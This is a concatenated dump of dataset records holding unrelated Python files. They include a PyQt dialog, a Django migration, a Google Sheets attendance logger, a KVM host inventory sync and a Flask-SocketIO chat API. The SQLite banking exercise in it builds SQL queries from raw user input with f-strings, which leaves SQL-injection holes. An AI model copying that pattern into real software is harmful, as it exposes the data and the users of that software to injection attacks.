QMessageBox\nfrom PyQt5 import Qt, QtCore\n\n\nclass MessageBox(QMessageBox):\n \"\"\"Dialog\"\"\"\n\n def __init__(self, parent=None, id='default'):\n super(MessageBox, self).__init__(parent)\n self._id = id\n print('MessageBox')\n\n def message(self, content='提示信息', type='info', title='标题', close_time=None):\n self._type = type\n self._title = title\n self._message = content\n self._close_time = close_time\n if self._isExit():\n return None\n if self._close_time:\n timer = QtCore.QTimer(self)\n timer.timeout.connect(self.close)\n timer.start(self._close_time * 1000)\n\n def confirm(self, content='提示信息', type='info', title='标题'):\n self._type = type\n self._title = title\n self._message = content\n self._init_ui()\n reply = self.question(self, title, content, self.Yes | self.No, self.No)\n self.close()\n if reply == QMessageBox.Yes:\n return True\n else:\n return False\n # if self._isExit():\n # return None\n # return True\n\n def _isExit(self):\n id = self._id\n ids = ['test']\n if len(ids) <= 0 or id in ids:\n print('is exit')\n return False\n ids.append(id)\n print(ids)\n self.show()\n\n def _buttons(self):\n pass\n\n def _init_ui(self):\n self._centerPosition(270, 150)\n self.setMouseTracking(True)\n self.setWindowFlags(Qt.Qt.Window | Qt.Qt.FramelessWindowHint)\n self._style()\n\n def _style(self):\n _file = QtCore.QFile(':/style.qss')\n _file.open(QtCore.QFile.ReadOnly)\n styleSheet = _file.readAll()\n styleSheet = str(styleSheet, encoding='utf8')\n styleSheet += \"\"\"\n QDialog{\n background-image: url(res/img/\"\"\"+self._type+\"\"\".png);\n }\n \"\"\"\n self.setStyleSheet(styleSheet)\n # self.setWindowOpacity(0.8)\n\n # 窗口居中显示\n def _centerPosition(self, width, height):\n desktop = QApplication.desktop()\n screen = desktop.screenGeometry()\n swidth = screen.width()\n sheight = screen.height()\n left = (swidth - width) / 2\n top = (sheight - height) / 2\n self.setGeometry(left, top, width, height)\n\n def _head_layout(self):\n title = QLabel('宝宝软件', self)\n title.setObjectName(\"title\")\n close = QToolButton(self)\n close.setObjectName(\"close\")\n close.setIcon(Qt.QIcon('res/icons/appbar.close.png'))\n close.setIconSize(Qt.QSize(25, 25))\n close.setFixedSize(25, 25)\n close.clicked.connect(self.close)\n title.move(5 ,5)\n close.move(245 ,0)\n\n def mousePressEvent(self, event):\n if event.button() == QtCore.Qt.LeftButton:\n self.mousePress = True\n self.dragPosition = event.globalPos() - self.frameGeometry().topLeft()\n event.accept()\n\n def mouseReleaseEvent(self, event):\n if event.button() == QtCore.Qt.LeftButton:\n self.mousePress = False\n event.accept()\n\n def mouseMoveEvent(self, event):\n if event.buttons() == QtCore.Qt.LeftButton:\n try:\n if (self.mousePress == False):\n return\n except AttributeError as e:\n return\n self.move(event.globalPos() - self.dragPosition)\n\n\nimport sys\nfrom PyQt5.QtWidgets import QApplication\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n a = MessageBox(None,'default')\n a.close()\n # res = a.confirm()\n # print(res)\n sys.exit(app.exec_())\n","sub_path":"back/python/QT5_obj/login/MessageBox.py","file_name":"MessageBox.py","file_ext":"py","file_size_in_byte":3949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"226010616","text":"# run after upgrade iserver to check new export engine status\nimport json \nimport re\nimport pymongo \nimport pytest\nfrom pymongo import MongoClient\nfrom datetime import datetime\n\ndef get_last_nee():\n data = collection.find_one(sort=[(\"nee\", pymongo.DESCENDING)])\n last_version = data[\"nee\"]\n return last_version\n\ndef get_current_nee():\n xml = '/Users/nwang/Desktop/github/sanity_test/status-nee.xml'\n with open(xml,'r') as f:\n current = re.findall(\"(?<=)(.*?)(?=)\",f.read())\n version = current[0]\n return version\n \ndef update_db(nee):\n collection.find_one_and_update({\"hostname\": \"tec-l-005909\"},\n {\"$set\": {\"nee\": nee, \"last_update\": datetime.utcnow()}}\n ,upsert=True)\n cursor = collection.find({})\n for document in cursor:\n print(document)\n \ndef compare_version():\n assert current_iserver > last_iserver\n\nif __name__ == '__main__':\n client = MongoClient('10.23.6.213', 27017)\n db = client['upgrade']\n collection = db['upgrade']\n current_iserver = get_current_nee()\n last_iserver = get_last_nee()\n compare_version()\n update_db(nee=current_iserver)\n","sub_path":"sanity_test/.vscode/neestatus.py","file_name":"neestatus.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"479882638","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('BMS_app', '0015_auto_20151027_0812'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='familymemberinformation',\n name='id',\n field=models.AutoField(primary_key=True, auto_created=True, verbose_name='ID', serialize=False),\n ),\n migrations.AlterField(\n model_name='personalinformation',\n name='id',\n field=models.AutoField(primary_key=True, auto_created=True, verbose_name='ID', serialize=False),\n ),\n ]\n","sub_path":"BMS_app/migrations/0016_auto_20151027_0815.py","file_name":"0016_auto_20151027_0815.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"159540957","text":"# Write your code here\nimport sqlite3\nconn = sqlite3.connect('card.s3db')\ncur = conn.cursor()\n\ncur.execute(\"DROP TABLE IF EXISTS card;\")\ncur.execute(\"CREATE TABLE card (\"\n \"'id' INTEGER PRIMARY KEY,\"\n \"'number' TEXT,\"\n \"'pin' TEXT,\"\n \"'balance' INTEGER DEFAULT 0\"\n \");\")\n\n\"\"\"\n@staticmethod\ndef luhn(n):\n r = [int(ch) for ch in str(n)][::-1] # Generates an integer list of CC num, then reverses it.\n # sum(r[0::2]) sums all the \"even\" index nums\n # For every \"odd\" index num (for d in r[1::2]) divmod multiplies d by 2 (luhn req) then divides by 10\n # if the num is 16 for example, the result is 1.6. divmod then adds the 1 and 6 to get 7 (luhn req).\n # The resulting value of adding the even sum and odd sum is then modulo 10. If that result is 0, CC num is good.\n # https://cscircles.cemc.uwaterloo.ca/visualize\n return (sum(r[0::2]) + sum(sum(divmod(d * 2, 10)) for d in r[1::2])) % 10 == 0\n\"\"\"\n\ndef main_menu():\n account = {}\n option = 999\n while option != 0:\n print(\"1. Create an account\\n2. Log into account\\n0. Exit\")\n option = int(input())\n if option == 1:\n create_account(account)\n elif option == 2:\n login()\n if option == 0:\n return\n\n\ndef create_account(account):\n import random\n account['id_number'] = \"400000\"\n for i in range(9):\n account['id_number'] += str(random.randint(0, 9))\n check_sum = create_checksum(account['id_number'])\n # check_sum = create_checksum('400000844943340')\n account['id_number'] += str(check_sum)\n account['pin_code'] = \"\"\n for i in range(4):\n account['pin_code'] += str(random.randint(0, 9))\n account['balance'] = 0\n\n cur.execute(f\"SELECT id FROM card WHERE number = {account['id_number']};\")\n for row in cur:\n print(row)\n\n cur.execute(\"INSERT INTO card ('number', 'pin')\"\n f\" VALUES ({account['id_number']}, {account['pin_code']});\")\n conn.commit()\n\n print(\"\\nYour card has been created\")\n print(f\"Your card number:\\n{account['id_number']}\")\n print(f\"Your card PIN:\\n{account['pin_code']}\\n\")\n\n\ndef create_checksum(check):\n counter = 0\n for i in range(len(check)):\n number = int(check[i])\n if i % 2 == 0:\n number *= 2\n if number > 9:\n number -= 9\n counter += number\n if counter % 10 == 0:\n return 0\n else:\n return 10 - (counter % 10)\n\n\n\ndef login():\n print(\"\\nEnter your card number:\")\n id_number = str(input())\n print(\"Enter your PIN:\")\n pin_code = str(input())\n\n cur.execute(f\"SELECT number,pin FROM card WHERE number = {id_number};\")\n row = cur.fetchone()\n if row is None:\n print(\"\\nWrong card number or PIN!\\n\")\n return\n while row is not None:\n if id_number == str(row[0]) and pin_code == str(row[1]):\n print(\"\\nYou have successfully logged in!\\n\")\n menu(id_number)\n row = cur.fetchone()\n print(\"\\nWrong card number or PIN!\\n\")\n return\n\ndef menu(id_number):\n option = 999\n while option != 0:\n print(\"\"\"\n1. Balance\n2. Add income\n3. Do transfer\n4. Close account\n5. Log out\n0. Exit\n \"\"\")\n option = int(input())\n if option == 1:\n cur.execute(\"SELECT balance FROM card WHERE number = \" + id_number + \";\")\n row = cur.fetchone()\n print(f\"\\nBalance: {row[0]}\\n\")\n elif option == 2:\n add_income(id_number)\n elif option == 3:\n transfer_income(id_number)\n elif option == 4:\n close_account(id_number)\n option = 0\n elif option == 5:\n print(\"\\nYou have successfully logged out!\\n\")\n return\n else:\n print(\"\\nBye!\\n\")\n exit()\n\ndef add_income(id_number):\n print(\"Enter income:\")\n cur.execute(f\"UPDATE card SET balance = balance + {str(input())} WHERE number = {str(id_number)};\")\n conn.commit()\n print(\"Income was added!\")\n\ndef transfer_income(id_number):\n print(\"Enter card number:\")\n check_number = str(input())\n\n if check_number[-1] != str(create_checksum(check_number[:len(check_number) - 1])):\n print(\"Probably you made a mistake in the card number. Please try again!\")\n return\n\n cur.execute(f\"SELECT * FROM card WHERE number = {check_number};\")\n row = cur.fetchone()\n if row is None:\n print(\"Such a card does not exist.\")\n return\n\n print(\"Enter how much money you want to transfer:\")\n check_sum = str(input())\n\n cur.execute(f\"SELECT * FROM card WHERE number = {id_number} and balance >= {check_sum};\")\n row = cur.fetchone()\n if row is None:\n print(\"Not enough money!\")\n return\n\n cur.execute(f\"UPDATE card SET balance = balance + {check_sum} WHERE number = {str(check_number)};\")\n cur.execute(f\"UPDATE card SET balance = balance - {check_sum} WHERE number = {str(id_number)};\")\n conn.commit()\n print(\"Success!\")\n\ndef close_account(id_number):\n cur.execute(f\"DELETE FROM card WHERE number = {str(id_number)};\")\n conn.commit()\n print(\"The account has been closed!\")\n\nmain_menu()\n","sub_path":"Simple Banking System/task/banking/banking.py","file_name":"banking.py","file_ext":"py","file_size_in_byte":5207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"632404330","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom holmes.validators.base import Validator\nfrom holmes.utils import _\n\n\nclass LinkWithRedirectValidator(Validator):\n\n @classmethod\n def get_violation_definitions(cls):\n return {\n 'link.redirect.302': {\n 'title': _('Link with 302 redirect'),\n 'description': _(\n 'Link with 302 redirect, in most cases, should '\n 'not be used. Redirects were found for '\n 'link: %s.'),\n 'category': _('HTTP'),\n 'generic_description': _(\n 'Validates temporary redirections (302). '\n 'They should not be used in the most cases, instead '\n 'is best to use a 301 permanent redirect.'\n )\n },\n 'link.redirect.307': {\n 'title': _('Link with 307 redirect'),\n 'description': _(\n 'Link with 307 redirect, in most cases, should '\n 'not be used. Redirects were found for '\n 'link: %s.'),\n 'category': _('HTTP'),\n 'generic_description': _(\n 'Validates temporary redirections (307). '\n 'They should not be used in the most cases, instead '\n 'is best to use a 301 permanent redirect.'\n )\n },\n }\n\n def validate(self):\n links = self.get_links()\n\n for url, response in links:\n if response.status_code in [302, 307]:\n self.add_violation(\n key='link.redirect.%d' % response.status_code,\n value=response.status_code,\n points=10\n )\n\n def get_links(self):\n return self.review.data.get('page.links', None)\n","sub_path":"holmes/validators/link_with_redirect.py","file_name":"link_with_redirect.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"600068234","text":"#\nimport logging\nimport sys\n\nlogging.basicConfig(stream=sys.stderr)\nlogging.debug(\"Loading ping\")\n\n\ndef run(payload):\n logging.debug(\"Running ping\")\n return {\"msg\": \"pong\"}\n\n\nif __name__ == \"__main__\":\n logging.warning(\"Main ping\")\n","sub_path":"hooks/ping.py","file_name":"ping.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"499523146","text":"import gspread, random, json, datetime\nfrom pytz import timezone\nfrom oauth2client.service_account import ServiceAccountCredentials\n\nscope = ['https://spreadsheets.google.com/feeds',\n 'https://www.googleapis.com/auth/drive']\n\nfileName = '勤怠管理テスト'\ncredentials = ServiceAccountCredentials.from_json_keyfile_name('My Project 97003-3496c907305d.json', scope)\ngc = gspread.authorize(credentials)\nwks = gc.open(fileName).sheet1\n\n\ndef searchSheet(searchTitle):\n \"\"\"\n 'title'の名前のシートが存在するか確認する\n \n Parameters\n ----------\n title : str\n\n Return\n ----------\n True : シートがあるとき\n False : シートがないとき\n \"\"\"\n sheetfile = gc.open(fileName)\n for i in sheetfile.worksheets(): # シートが既存かどうかの判定\n if i.title == searchTitle:\n return True\n return False\n\ndef createNewSheet(year, month):\n \"\"\"スプレッドシートにシート「{year}_{month}」が存在するか調べ、無いときは追加する。\n \n Parameters\n ----------\n year : int\n 追加するシートの年\n month : [type]\n 追加するシートの月\n \n Returns\n -------\n newTitle : str\n 追加または存在確認したシートのタイトル\n \"\"\"\n year = int(year)\n month = int(month)\n sheetfile = gc.open(fileName)\n newTitle = f'{year}_{month:02d}'\n if searchSheet(searchTitle=newTitle) is True: # シートが既存かどうか確認する\n return newTitle\n # 存在しないとき作る\n sheetfile.add_worksheet(title=newTitle,rows=1000 , cols=5)\n sps = sheetfile.worksheet(newTitle)\n koumoku = ['日付', '氏名', '時刻', '出退勤', '備考']\n sps.append_row(values=koumoku)\n print(f'新規シート{newTitle}を作成しました。')\n return newTitle\n\n\ndef addShuttaikin(workerName, attendance, dataNow ,datestr, timestr):\n \"\"\"スプレッドシートに出退勤を追記する\n Parameters\n ----------\n workerName : str\n 出退勤者の名前\n attendance : str\n '出勤'または'退勤'\n dataNow : datetime\n 現在時刻\n datestr : str\n dataNowの加工済みの日付データ。YYYY-MM-DD\n timestr : str\n dataNowの加工済み時刻データ。HH:MM\n \"\"\"\n\n sheetTitle = createNewSheet(year=dataNow.year, month=dataNow.month)\n sheet2Add = gc.open(fileName).worksheet(sheetTitle)\n sheet2Add.append_row(values=[datestr, workerName, timestr, attendance])\n return","sub_path":"gsUpdate.py","file_name":"gsUpdate.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"393557832","text":"import numpy as np\n\nfile_content = '/Users/guanhangwu/Downloads/cora/cora.content'\nwith open(file_content, 'r') as f:\n f_str = f.read()\n\nf_list = f_str.split('\\n')\nindex_list = [f.split('\\t') for f in f_list][:-1]\n\nindex_file = np.array([int(f[0]) for f in index_list])\nindex = np.argsort(index_file)\nindex_file = index_file[index]\n\nfeature = np.array([[int(k) for k in f[1:-1]] for f in index_list])\nfeature = feature[index, :]\n\nlabel = [f[-1] for f in index_list]\nprint(set(label))\nexit(1)\nlabel_set = set(label)\nlabel_dict = dict()\nfor i, k in enumerate(list(label_set)):\n label_dict[k] = i\nlabel_index = np.array([label_dict[key] for key in label])\n\nlabel_index = label_index[index]\n\nn_values = np.amax(label_index) + 1\nlabel_one_hot = np.eye(n_values)[label_index]\n\nnp.save('cora_feature.npy', feature)\n# np.save('coro_index.npy', label_index)\nnp.save('cora_label.npy', label_one_hot)\n","sub_path":"code/gcn_swap-master/gcn/data/read_index.py","file_name":"read_index.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"410311161","text":"import sys\nimport os\nimport datetime\nimport json\nimport django\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\nsys.path.append(os.path.join(BASE_DIR, ''))\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"vir_manager.settings\")\ndjango.setup()\n\nfrom backstage.base import logger\nfrom backstage.models import Host\nfrom backstage.models import Virtual\nfrom utils.common import save_obj_info\nfrom utils.common import format_host_status\nfrom utils.common import save_operation_log\nfrom utils.request_utils import CMDBHandler\nfrom utils.host_requests import HostHandler\nfrom utils.host_utils import update_host_resource\nfrom utils.mail_utils import send_message\n\n\ndef update_host_from_cmdb():\n # cmdb更新宿主机信息\n cmdb_handler = CMDBHandler()\n page_size = 20\n host_list = cmdb_handler.loop_host(page_size=page_size, status_name='已上线')\n db_lines = Host.objects.all()\n db_dict = {}\n for line in db_lines:\n if line.cmdb_id not in db_dict:\n db_dict[line.cmdb_id] = {}\n if line.ip not in db_dict[line.cmdb_id]:\n db_dict[line.cmdb_id][line.ip] = []\n db_dict[line.cmdb_id][line.ip].append(line.nick_name)\n all_cmdb_id = db_dict.keys()\n update_cmdb_id = []\n new_host = []\n next_url = 1\n while next_url:\n next_url = host_list['next']\n for host_info in host_list['results']:\n if not host_info['minion_id'] or not host_info['idc_name'] or not host_info['serial_num']:\n continue\n if host_info['nics']:\n for nick in host_info['nics']:\n if nick['is_virtual']:\n continue\n ip = nick['ip']\n if host_info['id'] in all_cmdb_id and ip in db_dict[host_info['id']] \\\n and nick['name'] in db_dict[host_info['id']][ip]:\n line = Host.objects.filter(\n cmdb_id=host_info['id'], ip=ip, minion_id=host_info['minion_id'], mac=nick['mac'], nick_name=nick['name'])\n if not line:\n line = Host()\n insert_dict = {\n 'cmdb_id': host_info['id'],\n 'name': host_info['minion_id'].replace('.', '-'),\n 'idc_name': host_info['idc_name'],\n 'ip': ip,\n 'os_name': host_info['os'],\n 'os_version': host_info['os_release'],\n 'product_line': host_info['product_line_name'],\n 'undate_status': 1,\n 'nick_name': nick['name'],\n 'serial_num': host_info['serial_num'],\n 'status': format_host_status(host_info['status_name']),\n 'status_name': host_info['status_name'],\n 'create_time': datetime.datetime.now(),\n 'minion_id': host_info['minion_id'],\n 'mac': nick['mac']\n }\n save_obj_info(line, insert_dict)\n continue\n else:\n line = line[0]\n update_dict = {\n 'name': host_info['minion_id'].replace('.', '-'),\n 'idc_name': host_info['idc_name'],\n 'ip': ip,\n 'os_name': host_info['os'],\n 'os_version': host_info['os_release'],\n 'product_line': host_info['product_line_name'],\n 'undate_status': 1,\n 'serial_num': host_info['serial_num'],\n 'status': format_host_status(host_info['status_name']),\n 'status_name': host_info['status_name'],\n 'minion_id': host_info['minion_id'],\n 'nick_name': nick['name'],\n 'mac': nick['mac']\n }\n save_obj_info(line, update_dict)\n else:\n if not ip:\n continue\n line = Host()\n insert_dict = {\n 'cmdb_id': host_info['id'],\n 'name': host_info['minion_id'].replace('.', '-'),\n 'idc_name': host_info['idc_name'],\n 'ip': ip,\n 'os_name': host_info['os'],\n 'os_version': host_info['os_release'],\n 'product_line': host_info['product_line_name'],\n 'undate_status': 1,\n 'nick_name': nick['name'],\n 'serial_num': host_info['serial_num'],\n 'status': format_host_status(host_info['status_name']),\n 'status_name': host_info['status_name'],\n 'create_time': datetime.datetime.now(),\n 'minion_id': host_info['minion_id'],\n 'mac': nick['mac']\n }\n save_obj_info(line, insert_dict)\n else:\n ip = host_info['minion_id']\n if host_info['id'] in all_cmdb_id and ip in db_dict[host_info['id']]:\n line = Host.objects.get(\n cmdb_id=host_info['id'], minion_id=host_info['minion_id'])\n update_dict = {\n 'name': host_info['minion_id'].replace('.', '-'),\n 'idc_name': host_info['idc_name'],\n 'ip': host_info['minion_id'],\n 'os_name': host_info['os'],\n 'os_version': host_info['os_release'],\n 'product_line': host_info['product_line_name'],\n 'undate_status': 1,\n 'nick_name': '',\n 'serial_num': host_info['serial_num'],\n 'status': format_host_status(host_info['status_name']),\n 'status_name': host_info['status_name'],\n 'minion_id': host_info['minion_id'],\n }\n save_obj_info(line, update_dict)\n else:\n if not ip:\n continue\n line = Host()\n insert_dict = {\n 'cmdb_id': host_info['id'],\n 'name': host_info['minion_id'].replace('.', '-'),\n 'idc_name': host_info['idc_name'],\n 'ip': ip,\n 'nick_name': '',\n 'os_name': host_info['os'],\n 'os_version': host_info['os_release'],\n 'product_line': host_info['product_line_name'],\n 'undate_status': 1,\n 'serial_num': host_info['serial_num'],\n 'status': format_host_status(host_info['status_name']),\n 'status_name': host_info['status_name'],\n 'create_time': datetime.datetime.now(),\n 'minion_id': host_info['minion_id'],\n }\n save_obj_info(line, insert_dict)\n host_list = cmdb_handler.loop_host(url=next_url)\n # un_update_list = list(set(all_host_id) - set(update_cmdb_id))\n # if un_update_list:\n # # 有数据没有被更新 发送邮件给管理人员\n # message = '有cmdb的主机没有被更新 cmdb的id为\\n%s' % '\\n,'.join(un_update_list)\n update_down_host()\n return 'ok'\n\n\ndef update_resource_job(host_ip):\n \"\"\"\n * desc 更新宿主机的资源\n * input 宿主机ip\n * output None\n \"\"\"\n logger.info('do update_resource_job func')\n # 首先更新虚拟机的资源信息\n host_handler = HostHandler(host_ip)\n # 首先更新宿主机资源\n host_info = host_handler.get_host_info()\n update_dict = {}\n if not host_info['cpu']['status']:\n update_dict['cpu'] = host_info['cpu']['value']\n if not host_info['disk']['status']:\n update_dict['disk'] = host_info['disk']['value']\n if not host_info['memory']['status']:\n memory = host_info['memory']['value']\n if int(memory) > 64217:\n # 保留 16G\n keep_memory = 16380\n else:\n # 保留 10G\n keep_memory = 10240\n update_dict['memory'] = memory\n update_dict['keep_memory'] = keep_memory\n host_db = Host.objects.filter(minion_id=host_ip)\n for line in host_db:\n save_obj_info(line, update_dict)\n logger.info(update_dict)\n # 更新虚拟机资源信息\n all_domains_info = host_handler.get_host_domains_info()\n for domain_name, domain_info in all_domains_info.items():\n # 写入数据库\n cpu = domain_info['cpu']\n status = domain_info['state_num']\n disk = domain_info['disks']['total']\n check_cpu = domain_info['cpu']\n check_memory = domain_info['maxMem']\n check_disk_num = domain_info['disks']['dev_num']\n check_disk = domain_info['disks']['total']\n virtual_db = Virtual.objects.filter(name=domain_name)\n if virtual_db:\n update_dict = {\n 'check_cpu': check_cpu,\n 'check_memory': check_memory,\n 'check_disk': check_disk,\n 'check_disk_num': check_disk_num,\n 'status': status,\n }\n save_obj_info(virtual_db[0], update_dict)\n else:\n # 数据库没有该信息\n # 发送邮件给管理员\n send_message('宿主机%s上面的虚拟机%s在数据库不存在 请检查' % (host_ip, domain_name))\n # 更新host的信息\n update_host_resource(host_ip)\n\n\ndef update_host_local_resource(host_ip):\n \"\"\"\n * desc 去宿主机获取磁盘数据进行更新\n * input 宿主机ip\n * output 宿主机的资源更新 None\n \"\"\"\n host_db = Host.objects.filter(minion_id=host_ip, ready_status=2)\n host_handler = HostHandler(host_ip)\n local_info = host_handler.get_host_info()\n disk_info = local_info['disk']\n memory_info = local_info['memory']\n cpu_info = local_info['cpu']\n update_dict = {}\n message = ''\n # 磁盘信息\n if not disk_info['status']:\n update_dict['disk'] = disk_info['value']\n else:\n message += '磁盘数据获取失败 错误信息%s' % disk_info['value']\n # 内存信息\n if not memory_info['status']:\n update_dict['memory'] = memory_info['value']\n else:\n message += '内存数据获取失败 错误信息%s' % memory_info['value']\n # cpu 信息\n if not cpu_info['status']:\n update_dict['cpu'] = cpu_info['value']\n else:\n message += 'cpu数据获取失败 错误信息%s' % cpu_info['value']\n for line in host_db:\n save_obj_info(line, update_dict)\n # 更新host的信息\n update_host_resource(host_ip)\n\n\ndef update_host_domain_status(host_ip):\n \"\"\"\n * desc 更新宿主机的ip\n * input 宿主机ip\n * output None\n \"\"\"\n host_handler = HostHandler(host_ip)\n all_domains_info = host_handler.get_host_domains_info()\n for vm_name, info in all_domains_info.items():\n virtual_db = Virtual.objects.filter(name=vm_name)\n if not virtual_db:\n continue\n status = virtual_db[0].status\n if status != info['state_num']:\n # 状态不一致 更新虚拟机状态\n save_obj_info(virtual_db[0], {'status': info['state_num']})\n save_operation_log(user='system', action='更新虚拟机状态', result='成功', before=status,\n after=info['state_num'], refer_id=virtual_db[0].name, model_name='virtual')\n\n\ndef update_down_host():\n \"\"\"\n * desc 更新已下架的宿主机\n * input None\n * output None\n \"\"\"\n cmdb_handler = CMDBHandler()\n page_size = 20\n next_url = 1\n while next_url:\n if next_url == 1:\n host_list = cmdb_handler.loop_host(\n page_size=page_size, status_name='已下架')\n else:\n host_list = cmdb_handler.loop_host(url=next_url)\n next_url = host_list['next']\n for host_info in host_list['results']:\n if not host_info['minion_id'] or not host_info['idc_name']:\n continue\n host_dbs = Host.objects.filter(\n serial_num=host_info['serial_num'], status_name='已上线')\n if not host_dbs:\n # 没有找到pass 已下架的不需要在kvm中体现\n pass\n else:\n for line in host_dbs:\n update_dict = {\n 'name': host_info['minion_id'].replace('.', '-'),\n 'idc_name': host_info['idc_name'],\n 'ip': host_info['minion_id'],\n 'os_name': host_info['os'],\n 'nick_name': '',\n 'serial_num': host_info['serial_num'],\n 'os_version': host_info['os_release'],\n 'product_line': host_info['product_line_name'],\n 'status': format_host_status(host_info['status_name']),\n 'status_name': host_info['status_name'],\n 'minion_id': host_info['minion_id'],\n }\n save_obj_info(line, update_dict)\n if host_dbs[0].status_name == '已下架':\n pass\n else:\n save_operation_log(user='system', action='cmdb下架宿主机', result='成功', before='已上线',\n after='已下架', refer_id=host_info['minion_id'], model_name='host')\n\n\nif __name__ == '__main__':\n if len(sys.argv) == 2:\n action = sys.argv[1]\n if action == 'cmdb':\n update_host_from_cmdb()\n elif len(sys.argv) == 3:\n action = sys.argv[1]\n host_ip = sys.argv[2]\n if action == 'update_resource':\n update_host_local_resource(host_ip)\n elif action == 'update_domain_status':\n update_host_domain_status(host_ip)\n","sub_path":"python/vir_manager/job/host.py","file_name":"host.py","file_ext":"py","file_size_in_byte":14703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"33640887","text":"import aiohttp\nimport pytest\nimport vcr\n\n\n@vcr.use_cassette()\n@pytest.mark.asyncio\nasync def test_http(): # noqa: E999\n async with aiohttp.ClientSession() as session:\n url = 'https://httpbin.org/get'\n params = {'ham': 'spam'}\n resp = await session.get(url, params=params) # noqa: E999\n assert (await resp.json())['args'] == {'ham': 'spam'} # noqa: E999\n","sub_path":"tests/integration/async_def.py","file_name":"async_def.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"104662876","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nThe script allows the user to load\nthe transmission capacity.\n\"\"\"\n\nimport pandas as pd\n#\nfrom pub_data_visualization import global_var, transmission\n\n###############################################################################\ndata_source_transmission = global_var.data_source_transmission_entsog_nominations\ntransmission_dt_min = pd.Timestamp('2019-01-10').tz_localize('CET')\ntransmission_dt_max = pd.Timestamp('2019-01-14').tz_localize('CET')\n###############################################################################\nfigsize = global_var.figsize_horizontal_ppt\nfolder_out = global_var.path_plots\nclose = False\n###############################################################################\n\n### Load\ndf = transmission.load(date_min = transmission_dt_min,\n date_max = transmission_dt_max,\n source = data_source_transmission,\n )\n\n","sub_path":"scripts/transmission/main_draft.py","file_name":"main_draft.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"46928018","text":"import uuid\n\nfrom flask import Blueprint, request\nfrom flask_socketio import (\n emit,\n join_room,\n leave_room,\n SocketIO\n)\n\nfrom models.message_content import MessageContent\nfrom models.message import Message\nfrom models.token import UserToken\nfrom models.user import User\nfrom routes_api import token_required, current_user, json_succeed, Status, json_fail\nfrom utils import log\n\nsocketio = SocketIO()\n\n\ndef current_sender(data):\n token = data['token']\n joiner_id = UserToken.one(token=token).user_id\n\n\n@socketio.on('join', namespace='/api/chat')\ndef join(data):\n room = data['room']\n token = data['token']\n message = Message.one(room_id=room)\n joiner_id = UserToken.one(token=token).user_id\n if joiner_id not in (message.sender_id, message.receiver_id):\n d = dict(\n message=False,\n )\n else:\n join_room(room)\n d = dict(\n message=True,\n )\n log('join', data, d)\n emit('status', d, room=room)\n\n\n@socketio.on('send', namespace='/api/chat')\ndef send(data):\n log('send', data)\n\n token = data.get('token')\n sender_id = UserToken.one(token=token).user_id\n\n content = data.get('content')\n room_id = data.get('room_id')\n message = Message.one(room_id=room_id)\n message_id = message.id\n receiver_id = message.receiver_id\n if sender_id == receiver_id:\n receiver_id = message.sender_id\n\n form = {\n 'content': content,\n 'message_id': message_id,\n 'sender_id': sender_id,\n 'receiver_id': receiver_id,\n }\n m = MessageContent.new(form)\n Message.update(message.id)\n\n # d = dict(\n # sender=sender_id,\n # receiver=receiver_id,\n # content=content,\n # )\n # log('chat sent', d, room_id)\n m = m.json()\n emit('message', m, room=room_id)\n\n\nmain = Blueprint('chat', __name__)\n\n\n@main.route('/new', methods=['POST'])\n@token_required\ndef new_chat():\n sender = current_user()\n form = request.json\n receiver_id = form['receiver_id']\n if receiver_id == sender.id:\n return json_fail()\n else:\n room_id = str(uuid.uuid4())\n form['room_id'] = room_id\n form['sender_id'] = sender.id\n message = Message.one(sender_id=sender.id, receiver_id=receiver_id)\n if message is None:\n Message.new(form)\n return json_succeed(\n room=room_id\n )\n else:\n return json_succeed(room=message.room_id)\n\n\n@main.route('/contacts', methods=['POST'])\n@token_required\ndef contacts():\n u = current_user()\n all_contacts = Message.contacts(user_id=u.id)\n\n contacts_returned = [c.json() for c in all_contacts]\n contacts_returned.sort(key=lambda c: c['updated_time'])\n\n for c in contacts_returned:\n if c['receiver_id'] == u.id:\n c['other'] = User.one(id=c['sender_id']).json()\n elif c['sender_id'] == u.id:\n c['other'] = User.one(id=c['receiver_id']).json()\n # 都不满足,就会没有 other 字段\n\n return json_succeed(\n user=u.json(),\n contacts=contacts_returned,\n )\n\n\n@main.route('/messages', methods=['POST'])\n@token_required\ndef messages():\n room_id = request.json['room']\n message_id = Message.one(room_id=room_id).id\n\n all_messages = MessageContent.all(message_id=message_id)\n\n messages_returned = [m.json() for m in all_messages]\n\n return json_succeed(\n messages=messages_returned,\n )\n","sub_path":"bbs_backend/routes_api/api_chat.py","file_name":"api_chat.py","file_ext":"py","file_size_in_byte":3465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} 